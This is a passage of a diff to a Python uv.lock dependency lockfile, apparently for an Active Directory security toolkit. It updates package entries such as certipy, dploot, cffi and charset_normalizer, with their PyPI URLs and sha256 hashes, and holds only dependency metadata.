{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
]
@@ -101,9 +108,6 @@ version = "0.5.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/b6/f0/881da69973abadac6848d27a0bf070b107ed5547ddbd1b092c30ab4c8b7c/arc4-0.5.0.tar.gz", hash = "sha256:259d4e505766639b7245d7199f3b4e72134d7adf20196820ffd3015954d85955", size = 6576, upload-time = "2026-04-05T13:22:36.059Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/24/3f/ab228c5d60e1d6ba345fa993b5336cd24376a86851673e112ad09b681c91/arc4-0.5.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2a052f9934746d81917032a4f37b390577141c56b4445c7f85c52b1155fdbf9f", size = 9065, upload-time = "2026-04-05T13:22:18.032Z" },
{ url = "https://files.pythonhosted.org/packages/0b/68/32c530846e2037275c094854c63935a15fac694de9279e62b23d86cf00e7/arc4-0.5.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:83a1f1934c55256838aa40998b87777f881e81c2056af9734cdb35a84574488c", size = 16526, upload-time = "2026-04-05T13:22:18.983Z" },
{ url = "https://files.pythonhosted.org/packages/d9/e9/2086b401b89885156424f3d5095de9ae3807ba04b05a768ba320c163ebc1/arc4-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:631786051c1468d3ec1010d1fc1089b539831d72d7f08ea342bdcd25aa019620", size = 9986, upload-time = "2026-04-05T13:22:20.064Z" },
{ url = "https://files.pythonhosted.org/packages/e8/4f/f2e28e91c9083876090e6218d3f601f7d54acdb5cc189fd4af406f104778/arc4-0.5.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:343a67c0bd2dcfdee78dc4269d8bd8ac362e6e911047833172468b337faccb1f", size = 9068, upload-time = "2026-04-05T13:22:20.845Z" },
{ url = "https://files.pythonhosted.org/packages/37/80/84266d1b251fe29272d9f7796e3d4a323cf0a005749b6ddda45a191c2f11/arc4-0.5.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0ffd6df658cf4d348eebbd125e9dcd35fcfcb2efec31ff4258b85791b0207bad", size = 17788, upload-time = "2026-04-05T13:22:21.66Z" },
{ url = "https://files.pythonhosted.org/packages/b9/f7/e4ff9ee3d4b6227fd2e3b34d66d2242b7f55fd245c537b578e7f2b60becb/arc4-0.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:6c20103a2ff7cd43b91d707fb520a3d10dac5b9ef647957a2d19fa3a05725be6", size = 9990, upload-time = "2026-04-05T13:22:22.815Z" },
@@ -113,8 +117,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/de/dc/f434e3517d61f8a3d9c19bb2f615942ae0888d35dd1ab8a8f39dbf4014fa/arc4-0.5.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ac5e9c3a589825afd31a10b6edd49bc8fe83ca88b4dc82dea6e977304304d36c", size = 10053, upload-time = "2026-04-05T13:22:26.246Z" },
{ url = "https://files.pythonhosted.org/packages/dd/6e/782c46bfc80ca5afd2fc29d5d611a1db9172759aa7d0e538517d6c8a96b3/arc4-0.5.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b8bcb09611b9e16a3f9d78b747c135386b59803a3fdecf4e7ff03eb3949e671b", size = 17706, upload-time = "2026-04-05T13:22:27.344Z" },
{ url = "https://files.pythonhosted.org/packages/df/f7/f7a9473114eead7cdb1419eaab156ad767218be748a47922117cfa1167c1/arc4-0.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:6fb7f6a7b16bc6fc3ed1eefaaa201810edec0e7dc08683970b2be0699b401e39", size = 10095, upload-time = "2026-04-05T13:22:28.12Z" },
{ url = "https://files.pythonhosted.org/packages/ec/e3/14bd4e0a24dc0f18f2236e40706899784d92059268c8039d32544ff9969a/arc4-0.5.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:cc0f6c9827d5f36a838cefbb3705ce1c6850df456d0e5b81c24733f857f3901d", size = 6901, upload-time = "2026-04-05T13:22:31.401Z" },
{ url = "https://files.pythonhosted.org/packages/bf/08/0bf1fe83abaf7c877490ef2b550f503cb865a80bab6c2f868e07843a17bd/arc4-0.5.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e3f9144cad18c4cdf8d02de1068504c045b29461c511963e4a495ffb61af1148", size = 10087, upload-time = "2026-04-05T13:22:32.291Z" },
{ url = "https://files.pythonhosted.org/packages/1d/f6/642e3b07a2db870354cfaad91535205455f09a03f4eeee82f72a37634662/arc4-0.5.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ccbed58bff2ce25b45535173221091b86162727caca66f4e383221f8b306113a", size = 6902, upload-time = "2026-04-05T13:22:33.147Z" },
{ url = "https://files.pythonhosted.org/packages/a6/80/12056b7138febb2e6c1294801ed7d072908ace2df58e0feed9347e3d9df4/arc4-0.5.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:02435fe04cf147aff25a9be5380b16d6084f2469f51620b5fa3af936a6988c51", size = 8431, upload-time = "2026-04-05T13:22:33.896Z" },
{ url = "https://files.pythonhosted.org/packages/17/ad/93ff0cb1be94d16357bdaf65fbe1f9c3dc33eb980a08af2c349bef71a43d/arc4-0.5.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:0c47bb37a5b80abcb7043d6b206068e4fbc90d27564aa667b2e7d90b2e7ff2cc", size = 10159, upload-time = "2026-04-05T13:22:35.025Z" },
@@ -266,17 +268,6 @@ version = "8.22.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/8d/13/d8b56ef2e6b6ae2cc1b23e509ea7cc8d3423aa0d8a7d7634c23c0bf845e2/bitstruct-8.22.1.tar.gz", hash = "sha256:97588318c906c60d33129e0061dd830b03d793c517033d312487c75426d1e808", size = 35616, upload-time = "2026-02-17T14:14:23.296Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/67/c9/a6a74c645b8a8d151c9bc0830a66a20e293fecfddbe37f4d8f3e0fa12819/bitstruct-8.22.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9c250d8dbd6350dfd73cf4bccab700122072388bd388d284ada37149eeb49979", size = 37862, upload-time = "2026-02-17T14:12:58.826Z" },
{ url = "https://files.pythonhosted.org/packages/4e/c8/09a16455af0941635cf2f37c18a43d9bc7529e02f8b591c6c265c084ccdd/bitstruct-8.22.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7fb40f50be4e60cb7a345ca4ceb16afcbcfecfa7cedf1cded44b8e1d8b8c3109", size = 38387, upload-time = "2026-02-17T14:13:00.389Z" },
{ url = "https://files.pythonhosted.org/packages/c8/30/e66995833d4d9c01e74371a7e8a2ed0ee0d4d9f7eeb3e5de3603d3101862/bitstruct-8.22.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8ebcc2ad3b9addd4a6a409481754c78ade65a8d24a4d34352e37df9b48aeabea", size = 80590, upload-time = "2026-02-17T14:13:01.712Z" },
{ url = "https://files.pythonhosted.org/packages/79/3c/adaaeb93f37958221152ea6af85b10cef71b9c57a3481ad589540aff012e/bitstruct-8.22.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:ec4d4e8308b3098e4de43f7ccd05d626bf2e4b650bea2b5fec9581f7bd7b4d01", size = 84216, upload-time = "2026-02-17T14:13:02.666Z" },
{ url = "https://files.pythonhosted.org/packages/d8/2f/29022203b6c93a609e4e8f8ec5e92594522bc82a59bc2528415f3af65e73/bitstruct-8.22.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e44c42bbfa9540a3df261c9a9613a88e5e5df0ad3931bcc76b9f1cc215f4ece", size = 79627, upload-time = "2026-02-17T14:13:04.038Z" },
{ url = "https://files.pythonhosted.org/packages/28/ef/662577f57c11cf82926a9aa2081b798d5981fee759eb74439a3390218c66/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8140c51b2e663d0efba9a6f5a77be4f26f3e147e65579be83f7c9b370df56cbe", size = 79775, upload-time = "2026-02-17T14:13:05.645Z" },
{ url = "https://files.pythonhosted.org/packages/55/62/7d347087e330822cd433ce1e49dc049c5b26444cc8900d3436d2ddea5a27/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f7e6bff01ea3765d28d8e426b49e6a0e4f581a4d47329f54d3a83f3f0c23380e", size = 75893, upload-time = "2026-02-17T14:13:06.537Z" },
{ url = "https://files.pythonhosted.org/packages/a7/4c/6b0e029339280377413c920f49114163d82fa4324703d877ac62637f9156/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9430cc3849c24549578210c3e185427d01bc48734acaa9d7d17a767b19719381", size = 79025, upload-time = "2026-02-17T14:13:07.446Z" },
{ url = "https://files.pythonhosted.org/packages/ba/bc/f6bb7e709a6b40a857d41be272b4e251a497e1aad73334c8d279f72abfb3/bitstruct-8.22.1-cp310-cp310-win32.whl", hash = "sha256:9a00e7077c81318a2d7aea6a5e2988301ef316621136ddede68b4a361afc7581", size = 34806, upload-time = "2026-02-17T14:13:08.371Z" },
{ url = "https://files.pythonhosted.org/packages/29/21/16ebf2b053e3e890f02435800ac6acc369e3a5c51e3b2b7304a23faf19cc/bitstruct-8.22.1-cp310-cp310-win_amd64.whl", hash = "sha256:43e3d8113263894e2ca107d2f7376f2767cb880a6f9952b0f66087545a230994", size = 36860, upload-time = "2026-02-17T14:13:09.264Z" },
{ url = "https://files.pythonhosted.org/packages/02/04/63f9b2569aaf89db734b685388cb6676f958f7fb4ba5566555a2c79f5fb8/bitstruct-8.22.1-cp310-cp310-win_arm64.whl", hash = "sha256:86f68adf8945b80007cfed2318277fc2d5de5fb253d7df5d7a703dc10b54e149", size = 35704, upload-time = "2026-02-17T14:13:10.055Z" },
{ url = "https://files.pythonhosted.org/packages/bd/48/7eae09e61478167ab084c503e384e203271c04213828db830af835fa8997/bitstruct-8.22.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a4d235cbdba2df0747d4e4a6a6d3d46505cc2b52b16e9d3d4431423401c565f6", size = 37853, upload-time = "2026-02-17T14:13:10.965Z" },
{ url = "https://files.pythonhosted.org/packages/58/5a/4a4790504f98328f5576f6b27d4366da4fcd00cf7d5e6871b546730905b5/bitstruct-8.22.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7b3c29ee922e68538c575667bdc924e3ef09d21da94fd48a4a430f9c32c70997", size = 38380, upload-time = "2026-02-17T14:13:12.322Z" },
{ url = "https://files.pythonhosted.org/packages/13/7b/156d71cb6b99e7b4e9802a1853a0f1dbdab5b4090c90eaee8eae1aa0371b/bitstruct-8.22.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a493a66fac64f989f3c8043e40f9ceb6b8169592c7e5a9d37a1409f00cb757a", size = 82235, upload-time = "2026-02-17T14:13:13.385Z" },
@@ -386,9 +377,9 @@ wheels = [
]
[[package]]
name = "certipy-ad"
version = "5.1.0"
source = { git = "https://github.com/Pennyw0rth/Certipy#069e03113095aa02772aa3d8debea90654933fe4" }
name = "certipy-nxc"
version = "5.1.0.post1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "argcomplete" },
{ name = "asn1crypto" },
@@ -402,6 +393,10 @@ dependencies = [
{ name = "pycryptodome" },
{ name = "requests" },
]
sdist = { url = "https://files.pythonhosted.org/packages/db/b8/ebf0f6f0a3d54d7c309a58d692f54532edbc62d8358ea56dadd22ef8b041/certipy_nxc-5.1.0.post1.tar.gz", hash = "sha256:fb11ca11bcf2e1e7eb060e2c7a7ba78699baeafabb23598dd3770b61d07b75b8", size = 159110, upload-time = "2026-10-14T16:14:49.169Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/83/6e/5b1c9ceaf7b6092dfe50705af3b1eb5e239115d1044a162a3933a3fa24dc/certipy_nxc-5.1.0.post1-py3-none-any.whl", hash = "sha256:27620fdd7a7a44f5ea7d537732a8022d20dd02f7fcd76e2d7fff84daab43ecb0", size = 181768, upload-time = "2026-10-14T16:14:47.58Z" },
]
[[package]]
name = "cffi"
@@ -412,18 +407,6 @@ dependencies = [
]
sdist = { url = "https://files.pythonhosted.org/packages/9e/ef/008a1939e372c06329a3fce4279c02f328488f3526744906eeec3da7ad5f/cffi-2.1.1.tar.gz", hash = "sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be", size = 530807, upload-time = "2026-08-03T21:21:18.939Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b6/d2/2cde336b375f55c76ca670f0be3978cc048e31e24f3b4d7ce8473150a388/cffi-2.1.1-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:baed1e86cc735622097354b9d1281406caf42ff42a886d29faa8e8d1630333be", size = 183779, upload-time = "2026-08-03T21:19:15.602Z" },
{ url = "https://files.pythonhosted.org/packages/94/1a/4b2f7c92293ba05cbd4a9a1b28faaf0326272d9488e6354657571c48a7aa/cffi-2.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ca82be1a1d406ecfe1d25dc16cb33488e5a16bf4438c9fb590484ea29d92478b", size = 184178, upload-time = "2026-08-03T21:19:16.67Z" },
{ url = "https://files.pythonhosted.org/packages/17/0b/ba385d8ccedf926c3cd06e8e2f327027da5afe5f0eb30f1f7bc43ac55125/cffi-2.1.1-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:42e2f76b9455f5a9a844f770bf3e200ed3da0e15f5df3db9c31fe80b04b3d004", size = 211037, upload-time = "2026-08-03T21:19:17.705Z" },
{ url = "https://files.pythonhosted.org/packages/a3/b9/0f2e58b2cefa33255bff36935d42b13180fe559bba82596540eb404bde7d/cffi-2.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5a59cc1c4442bc3d5c703bf720b51138d0bfc173618807c9ee2490a7541dd3d9", size = 218652, upload-time = "2026-08-03T21:19:18.735Z" },
{ url = "https://files.pythonhosted.org/packages/37/15/180e0dab27b9312c7479003d14c9e547634b7dcb934e2cc4650e1b131a7a/cffi-2.1.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:9f8d177621de5cb38ee3e731eda45d421db093ec0739f46a5594babda7987a98", size = 205422, upload-time = "2026-08-03T21:19:19.96Z" },
{ url = "https://files.pythonhosted.org/packages/18/d4/03026f0c850cbbaa9030750490225b4a7f4d524ea4df72c3cc740a90f4ef/cffi-2.1.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:75f80557d1389eddbd0de2681f6a390a0c5338c31ddaa821381c203fc3fd50d9", size = 205444, upload-time = "2026-08-03T21:19:21.246Z" },
{ url = "https://files.pythonhosted.org/packages/75/77/60bebf6f818bec84210ac5b6979ce4eeadce6fbbaabc9c7ab23e506d1ce5/cffi-2.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:194cffa889098ced9976c3fc6340305e43f6303657d298da55366907c05c22d6", size = 218742, upload-time = "2026-08-03T21:19:22.523Z" },
{ url = "https://files.pythonhosted.org/packages/b0/ae/679bf47e73fd77b352171727f07de559a003f14de5d02b904a6ec1fa73ca/cffi-2.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5bb4e7ea95dcd6a014a6fef62e62467d67d8e582326443f3d68e71d6320a9fcf", size = 221054, upload-time = "2026-08-03T21:19:23.694Z" },
{ url = "https://files.pythonhosted.org/packages/09/b8/eefc0e06913b70aa153bf74c946094a18f58fd4aff11b7f372bfdfdca050/cffi-2.1.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3d22a20b1fb1632cc72c22f95f7b0d2961c3e1c235f245ba4c606c4771035659", size = 213489, upload-time = "2026-08-03T21:19:24.922Z" },
{ url = "https://files.pythonhosted.org/packages/6f/13/4e56852824a03cdf68523a35686f1c28eacd4bd30a7b0a78e682e6e6e1d3/cffi-2.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:1dea0e4d7d4f11f619fe8c1d76caf49e24405b4b5743c0e3be16a500ecd930c9", size = 220241, upload-time = "2026-08-03T21:19:26.214Z" },
{ url = "https://files.pythonhosted.org/packages/99/7f/040f9e163e4acac3ee3d85b02d00b2576e7ca980d8785f0a3a5f1a9bf7f5/cffi-2.1.1-cp310-cp310-win32.whl", hash = "sha256:7ce713ace7c0e4520535b42b77eaa742c16dab813978064913e5a3cf82973b41", size = 174578, upload-time = "2026-08-03T21:19:27.338Z" },
{ url = "https://files.pythonhosted.org/packages/ba/0b/644a2ec1a4eaba49c2939410bb1eb1d25b09d6d0582f5d2f95c537043725/cffi-2.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:a48d62ab9d6f4f98c983223a547af44be6ca3691074c31cecced6facd3ba2dc1", size = 185082, upload-time = "2026-08-03T21:19:28.409Z" },
{ url = "https://files.pythonhosted.org/packages/70/d2/16d99a0c4948febc0ebd133a13b2f688ff7f8cb04da971e1128872ce0c03/cffi-2.1.1-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:c8d2c9fd1f2d16f780d15127abb050d13d1a76c03a4bd87d7e4980e45e511e12", size = 183838, upload-time = "2026-08-03T21:19:29.637Z" },
{ url = "https://files.pythonhosted.org/packages/cd/95/31b535a9f0220ae9f357de4a08d57ce89cb417653c2fd9f075f50822a388/cffi-2.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:398aff33cee2767e3e781d2554c54bd0dff386bb437581e0d8011fde1a942ec1", size = 184168, upload-time = "2026-08-03T21:19:30.764Z" },
{ url = "https://files.pythonhosted.org/packages/ad/5a/4707a0dc1f203f5dde5a907b0d4e3c25d71120241048bd5bc6f1bb9d4e71/cffi-2.1.1-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:154852545011f779917b11c78db2358d095da62a9a172b78ad0a583ee5adc0d0", size = 211805, upload-time = "2026-08-03T21:19:31.867Z" },
@@ -519,22 +502,6 @@ version = "3.5.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/e5/3f/143b048436775b0f76ac3eec145c019e8173ccc2885c8f20319b996d5e83/charset_normalizer-3.5.1.tar.gz", hash = "sha256:6117b84ea48435e5356dc737f5121485c30920ba43375fa7b434fd753df0eac3", size = 171764, upload-time = "2026-08-15T08:20:44.807Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/71/aa/554e2614f38fc34c58ff1d0911ae8535ad2516440d5482d76fe59f1088b0/charset_normalizer-3.5.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1ee1e296209fdce05b81b663250eefa02213a2da7b41bf26f7829b8ba3545aa", size = 369072, upload-time = "2026-08-15T08:16:22.964Z" },
{ url = "https://files.pythonhosted.org/packages/03/6d/439231dfc3ccfa6f8c06477b7da2219cbd41a2de3d49084df8ec7b5100f2/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e9fbdce1e47394b09bc9f26ab117dfc8d6491977a11d86f592bb42c779db2fda", size = 251142, upload-time = "2026-08-15T08:16:24.81Z" },
{ url = "https://files.pythonhosted.org/packages/55/53/7d819bd23a00ef45039146fa2cce1daa2f0771e758c5653ee1f6edac91ed/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:00668ebb0609751758682eb0b5857e7c35b9f00e84dfdef062e103244ec94d45", size = 240714, upload-time = "2026-08-15T08:16:26.392Z" },
{ url = "https://files.pythonhosted.org/packages/b2/2c/45847198c16f4b38090cc7423b2b6a9008e438704d8ab413211832498d31/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba2f37ee79e6338845261a3c5b1784e5d1acdff2c0785b284f1b633033d136ab", size = 279637, upload-time = "2026-08-15T08:16:27.961Z" },
{ url = "https://files.pythonhosted.org/packages/69/2b/d8be3523ddf9f0b0f3e56d1359034aa10653a4d11564c697f802b4775766/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ce854f5f478050ade5a238731c4ca985a7d3b3cb53ff600a9b5c3b689b5f0a7a", size = 276543, upload-time = "2026-08-15T08:16:29.399Z" },
{ url = "https://files.pythonhosted.org/packages/32/cd/4f564b8f132de25db594efc706897069f016790cea63a5669c9df2675f64/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:96eefc178f8636b9c760c5829345307fd81cfae9ab1e80997dbddeb0f54ee9a3", size = 261644, upload-time = "2026-08-15T08:16:30.722Z" },
{ url = "https://files.pythonhosted.org/packages/f5/e3/38b975422534a608f98c360e79c2f07c763d66dd4272300d45fb1fee54b0/charset_normalizer-3.5.1-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:366ec70f5547c640d3ce1985722490f23faf4eb5216a7eeba78277490e78dacb", size = 259609, upload-time = "2026-08-15T08:16:32.248Z" },
{ url = "https://files.pythonhosted.org/packages/87/bd/fbc24d825c66f1c74f6ccdea3742c3d8354a4888e86d1315a197fee69061/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:950f23cb393f85543777b0433f082cddd25b51ab398eac7971146495679efe5f", size = 252457, upload-time = "2026-08-15T08:16:33.849Z" },
{ url = "https://files.pythonhosted.org/packages/b9/2d/918d0e98a0e679469ed05bb2d90c2088b4d315bb612969d8499f76fb5210/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:c1dcc36dcb96abc02236e182d17e0f71430152a6c2c7447421da2d2dc144edea", size = 242240, upload-time = "2026-08-15T08:16:35.396Z" },
{ url = "https://files.pythonhosted.org/packages/20/c8/c36f6e0b2dfec351bd38cbc05362697e58bcd073d7dbd95154290c9714ce/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:07ffd07412fc5d5e84cd8952acf9ff7e4ed7a708e69d1bada19d8ba91711353f", size = 280308, upload-time = "2026-08-15T08:16:36.825Z" },
{ url = "https://files.pythonhosted.org/packages/ca/7b/311b3e02e8c4092400c449c850a760d8c45d900983c83a70cc07208c551d/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:f5542f9b941279d82d41eb0aa9f98eba36fe4df5c7086c651df7944935b37182", size = 258679, upload-time = "2026-08-15T08:16:38.22Z" },
{ url = "https://files.pythonhosted.org/packages/b9/90/082cc45599c392f28c036a497f49e0634041a785fc3849c80ccf396d096f/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:a545775cfe815855ea32d7c27731d79da358ef2055b4a25830231b1622dd18aa", size = 277221, upload-time = "2026-08-15T08:16:39.62Z" },
{ url = "https://files.pythonhosted.org/packages/58/ad/b9aecf38d805cbcf84fa94f14c5d972a16561e20296a11dc799a5dcf3763/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:494b70049a4d69aec6e8137c13af4cf8db8c9f9820a1392ac293b0dd2987a818", size = 263799, upload-time = "2026-08-15T08:16:40.885Z" },
{ url = "https://files.pythonhosted.org/packages/b7/23/b38a20598d5a825f85d9d7636860e56ff0db1479f86497a6e485aa9326f7/charset_normalizer-3.5.1-cp310-cp310-win32.whl", hash = "sha256:94fbf1c0c6cc0d3d5e50f9a9313a8cdca90dd696d34b381cd1704f8c9e939f20", size = 182037, upload-time = "2026-08-15T08:16:42.198Z" },
{ url = "https://files.pythonhosted.org/packages/d2/21/83fffb77864408b8bf0fe1ca603926401d6f8775a8e150b39aacc9958f8a/charset_normalizer-3.5.1-cp310-cp310-win_amd64.whl", hash = "sha256:be47f99644b208bff7766314013f9acf57b056b04191d570d68ad14022cf5b1d", size = 206030, upload-time = "2026-08-15T08:16:43.787Z" },
{ url = "https://files.pythonhosted.org/packages/86/2e/b93135b5034b1157fb29554b0d06d4844ce62282f0e0a14036f93d7ee2e7/charset_normalizer-3.5.1-cp310-cp310-win_arm64.whl", hash = "sha256:a6d095662e73e74f0a49988e0593373e243e3a52e27bfeea0a859e88acf4a0f5", size = 185092, upload-time = "2026-08-15T08:16:45.177Z" },
{ url = "https://files.pythonhosted.org/packages/6a/b6/034f6802e9c3f6418966cfabb7db8c9252cc2429c5098f41cc43af804149/charset_normalizer-3.5.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:eda059b6bc8bc0812d626fd91a7ce01bf583df0a61296eff390fd94141a34e30", size = 363585, upload-time = "2026-08-15T08:16:46.646Z" },
{ url = "https://files.pythonhosted.org/packages/d5/fa/6a7e2a7c4b5451912b8c417732df79574354443592a88d616de03da66ae5/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa2bb0b37202dca27175591f761108b5d34096ade1191ffe4808bdf6b1571488", size = 251189, upload-time = "2026-08-15T08:16:48.287Z" },
{ url = "https://files.pythonhosted.org/packages/a4/c8/ab42b07cfd82e919f427fcfaa7c41abae8242833ad1aad66d42bae40b669/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0b2b1b3fa5670c127b246df1d0c059defd41f689a868a3b9d79df9b1cac42d22", size = 239724, upload-time = "2026-08-15T08:16:49.67Z" },
@@ -729,10 +696,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/fd/2b/be327b580645927bb1a1f32d5a175b897a9b956bc085b095e15c40bac9ed/cryptography-42.0.8-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b297f90c5723d04bcc8265fc2a0f86d4ea2e0f7ab4b6994459548d3a6b992a14", size = 3938751, upload-time = "2024-06-04T19:54:37.837Z" },
{ url = "https://files.pythonhosted.org/packages/3c/d5/c6a78ffccdbe4516711ebaa9ed2c7eb6ac5dfa3dc920f2c7e920af2418b0/cryptography-42.0.8-cp39-abi3-win32.whl", hash = "sha256:2f88d197e66c65be5e42cd72e5c18afbfae3f741742070e3019ac8f4ac57262c", size = 2439281, upload-time = "2024-06-04T19:53:55.903Z" },
{ url = "https://files.pythonhosted.org/packages/a2/7b/b0d330852dd5953daee6b15f742f15d9f18e9c0154eb4cfcc8718f0436da/cryptography-42.0.8-cp39-abi3-win_amd64.whl", hash = "sha256:fa76fbb7596cc5839320000cdd5d0955313696d9511debab7ee7278fc8b5c84a", size = 2886038, upload-time = "2024-06-04T19:54:18.707Z" },
{ url = "https://files.pythonhosted.org/packages/a3/fe/1e21699f0a7904e8a30d4fc6db262958f1edf5e505a02e7d97a5b419e482/cryptography-42.0.8-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ba4f0a211697362e89ad822e667d8d340b4d8d55fae72cdd619389fb5912eefe", size = 3014449, upload-time = "2024-06-04T19:54:40.379Z" },
{ url = "https://files.pythonhosted.org/packages/d5/f3/61b398b5ec61f4b6ffbf746227df7ebb421696458d9625d634043f236a13/cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:81884c4d096c272f00aeb1f11cf62ccd39763581645b0812e99a91505fa48e0c", size = 3558533, upload-time = "2024-06-04T19:54:42.123Z" },
{ url = "https://files.pythonhosted.org/packages/c1/e2/60b05e720766e185ef097d07068bd878a51d613ef91e4c241750f9c9192b/cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c9bb2ae11bfbab395bdd072985abde58ea9860ed84e59dbc0463a5d0159f5b71", size = 3759330, upload-time = "2024-06-04T19:54:09.258Z" },
{ url = "https://files.pythonhosted.org/packages/10/38/2c8dae407d301eaf942e377a5b2b30485cfa0df03c6c2dcc2ac044054ed9/cryptography-42.0.8-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7016f837e15b0a1c119d27ecd89b3515f01f90a8615ed5e9427e30d9cdbfed3d", size = 2801764, upload-time = "2024-06-04T19:54:25.455Z" },
]
[[package]]
@@ -746,17 +709,19 @@ wheels = [
[[package]]
name = "dploot"
version = "3.2.2"
version = "4.1.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "cryptography" },
{ name = "impacket" },
{ name = "lxml" },
{ name = "pick" },
{ name = "pyasn1" },
{ name = "pypsrp" },
]
sdist = { url = "https://files.pythonhosted.org/packages/80/b1/40295eaf9ac7ab4c93a2568356971480d335b410cf67075064cb4e9ddaec/dploot-3.2.2.tar.gz", hash = "sha256:3f6acf90113ad076be9b59ea4142d0de4d910d4ae8f99a744d47cf010352d3a8", size = 68524, upload-time = "2026-03-13T16:27:31.139Z" }
